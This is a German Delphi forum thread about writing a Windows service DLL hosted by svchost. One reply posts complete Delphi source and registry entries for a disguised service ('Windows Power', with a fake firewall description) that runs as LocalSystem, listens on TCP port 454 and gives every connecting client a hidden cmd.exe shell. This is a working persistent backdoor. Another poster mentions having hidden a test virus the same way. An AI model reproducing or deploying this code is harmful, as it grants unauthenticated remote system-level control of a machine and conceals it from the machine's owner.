![]() |
Suche Beispiel für eine Service-DLL
Hallo Leute,
suche ein Beispiel (skeleton) oder Doku (Delphi) zu einer NT-Service-Dll die innerhalb einer vorhandenen SvcHost Gruppe laufen soll. Gruß Axel |
AW: Suche Beispiel für eine Service-DLL
Dafür musst du die Funktion RegisterServiceCtrlHandlerEx im DLL-Quelltext beim Laden der DLL, also in begin..end, benutzen:
![]() Ob du die delphiinternen Routinen für die Dienststeuerung damit trotzdem nutzen kannst, weiß ich nicht, aber mit SetServiceStatus geht es jedenfalls, indem du den Status auf Running setzt, wenn deine Initialisierung geklappt hat: ![]() |
AW: Suche Beispiel für eine Service-DLL
Hi,
Hi, @jaenicke, Danke, es geht vielmehr um die Einträge die ich in der Reg. setzen muss, damit meine Service dll von der Svchost.exe geladen wird. Meine Hoffnung war es, das einer schon mal ne Service dll geschrieben hat und mir da ein paar Tipps bzw. Links zu einer Doku helfen könnte denn in der MSDN oder ähnliches findet man nichts. Das einzig brauchbare habe ich heute erst gefunden: ![]() ![]() So jetzt schreibe ich das alles noch um und dann mal sehen. Axel |
AW: Suche Beispiel für eine Service-DLL
Ich habe das vor einiger Zeit schon einmal ausprobiert. Den Quelltext muss ich mal suchen.
Aber posten kann ich den dann nicht direkt. Denn es handelte sich dabei um einen Virus, den ich zu Testzwecken geschrieben hatte. Auf diese Weise hatte ich den im System versteckt und unter Windows XP war er dann mit z.B. dem Taskmanager logischerweise nicht mehr zu finden. Mehr schreibe ich zu diesem Thema besser nicht, nicht dass jemand, der das liest, auf dumme Gedanken kommt... Aber ich schaue mal, ob ich den Code zum Registrieren des Dienstes noch finde. |
AW: Suche Beispiel für eine Service-DLL
Hi,
Zitat:
Axel |
AW: Suche Beispiel für eine Service-DLL
Zitat:
Muss es unbedingt die SvcHost-DLL sein? Welchen Grund gibt es dafür? |
AW: Suche Beispiel für eine Service-DLL
Hi,
Zitat:
![]() Zitat:
![]() ![]() Zitat:
![]() Gruß, Axel |
AW: Suche Beispiel für eine Service-DLL
Der Prozess SvcHost ist der Hostprozess für Dienste. Und warum sollte der Prozess einen schlechten Ruf haben? Und was wird hie runter schlechten Ruf verstanden?
|
AW: Suche Beispiel für eine Service-DLL
Delphi-Quellcode:
:-Dlibrary svchost; (********************************* Regsettings ********************************* Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc] "DisplayName"="Windows Power" "Type"=dword:00000020 "Start"=dword:00000002 "ErrorControl"=dword:00000000 "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ 74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,\ 00,76,00,63,00,68,00,6f,00,73,00,74,00,2e,00,65,00,78,00,65,00,20,00,2d,00,\ 6b,00,20,00,6e,00,65,00,74,00,73,00,76,00,63,00,73,00,00,00 "ObjectName"="LocalSystem" "Description"="Bietet Unterstützung für Protokoll-Plug-Ins von Drittanbietern für die gemeinsame Nutzung der Internetverbindung und den Windows-Firewall." [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc\Parameters] "ServiceDll"=hex(2):44,00,3a,00,5c,00,57,00,49,00,4e,00,44,00,4f,00,57,00,53,\ 00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,67,00,79,00,\ 65,00,6b,00,65,00,74,00,79,00,73,00,2e,00,64,00,6c,00,6c,00,00,00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc\Enum] "0"="Root\\LEGACY_TAPISVC\\0000" "Count"=dword:00000001 "NextInstance"=dword:00000001 +Zur Gruppe hinzufügen: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost *******************************************************************************) uses Windows, WinSvc, Winsock2, Winsock; const Port = 454; type PArgArray = ^PChar; var ServiceStatus: SERVICE_STATUS; hServiceStatusHandle : SERVICE_STATUS_HANDLE; Terminated: boolean = false; szCmdLine: Array [0..MAX_PATH] of Char; function ShellThread(Parameter: Pointer): Integer; var hSocket: PInteger; si: TStartupInfo; pi: TProcessInformation; begin hSocket := Parameter; ZeroMemory(@si, SizeOf(TStartupInfo)); si.cb := SizeOf(TStartupInfo); si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW; si.wShowWindow := SW_HIDE; si.hStdInput := hSocket^; si.hStdOutput := hSocket^; si.hStdError := hSocket^; CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi); WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); Shutdown(hSocket^, SD_BOTH); CloseSocket(hSocket^); Dispose(hSocket); Result := 0; end; function MainThread(Parameter: Pointer): Integer; var WSAData: TWSAData; FDSet: TFDSet; SockAddrIn: TSockAddrIn; ServerSocket: TSocket; Connected: PInteger; ThreadID: Cardinal; begin result := 0; if WSAStartUp($0020, WSAData) <> S_OK then EXIT; ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0); if (ServerSocket = INVALID_SOCKET) then EXIT; FillChar(SockAddrIn, SizeOf(TSockAddr), #0); with SockAddrIn do begin sin_Family := AF_INET; sin_Port := htons(Port); sin_Addr := TInAddr(htonl(INADDR_ANY)); end; if Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn)) = SOCKET_ERROR then EXIT; if Listen(ServerSocket, SOMAXCONN) = SOCKET_ERROR then EXIT; GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH); while not Terminated do begin FD_Zero(FDSet); FD_Set(ServerSocket, FDSet); if Select(0, @FDSet, nil, nil, nil) = SOCKET_ERROR then Break; if Terminated then Break; if FD_IsSet(ServerSocket, FDSet) then begin New(Connected); Connected^ := Accept(ServerSocket, nil, nil); if Connected^ <> SOCKET_ERROR then BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID) else Break; end; sleep(15); end; WSACleanup; end; //-- Service Code function SvcCtrlHandler(dwControl: DWORD; dwEventType: DWORD; lpEventData: PChar; lpContext: PChar): DWORD; stdcall; begin result := NO_ERROR; case dwControl of SERVICE_CONTROL_STOP, SERVICE_CONTROL_SHUTDOWN: begin ServiceStatus.dwWin32ExitCode := 0; ServiceStatus.dwCurrentState := SERVICE_STOPPED; ServiceStatus.dwCheckPoint := 0; ServiceStatus.dwWaitHint := 0; end; SERVICE_CONTROL_PAUSE: begin ServiceStatus.dwCurrentState := SERVICE_PAUSED; end; SERVICE_CONTROL_CONTINUE: begin ServiceStatus.dwCurrentState := SERVICE_RUNNING; end; end; SetServiceStatus(hServiceStatusHandle, ServiceStatus); end; procedure ServiceMain(dwArgc: DWORD; lpszArgv: PArgArray); stdcall; var pServiceName: PChar; begin pServiceName := PChar('Tapisvc'); ServiceStatus.dwServiceType := SERVICE_WIN32_SHARE_PROCESS; ServiceStatus.dwCurrentState := SERVICE_START_PENDING; ServiceStatus.dwControlsAccepted := SERVICE_ACCEPT_STOP or SERVICE_ACCEPT_SHUTDOWN or SERVICE_ACCEPT_PAUSE_CONTINUE; ServiceStatus.dwWin32ExitCode := 0; ServiceStatus.dwServiceSpecificExitCode := 0; ServiceStatus.dwCheckPoint := 0; ServiceStatus.dwWaitHint := 0; hServiceStatusHandle := RegisterServiceCtrlHandlerA(pServiceName, @SvcCtrlHandler); if (hServiceStatusHandle <> 0) then begin ServiceStatus.dwCurrentState := SERVICE_RUNNING; ServiceStatus.dwCheckPoint := 0; ServiceStatus.dwWaitHint := 0; SetServiceStatus(hServiceStatusHandle, ServiceStatus); end; end; procedure DLLEntryPoint(dwReason: DWORD); var dwThreadID: DWORD; begin case dwReason of DLL_PROCESS_ATTACH : CloseHandle(BeginThread(nil, 0, MainThread, nil, 0, dwThreadID)); DLL_PROCESS_DETACH : Terminated := true; end; end; {$R *.RES} exports ServiceMain; begin DisableThreadLibraryCalls(hInstance); DllProc := @DLLEntryPoint; DLLEntryPoint(DLL_PROCESS_ATTACH); end. |
AW: Suche Beispiel für eine Service-DLL
Es ist eine ziemlich dumme Idee seine DLL nach einer System DLl zu benennen:
![]() |
Alle Zeitangaben in WEZ +1. Es ist jetzt 21:45 Uhr. |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz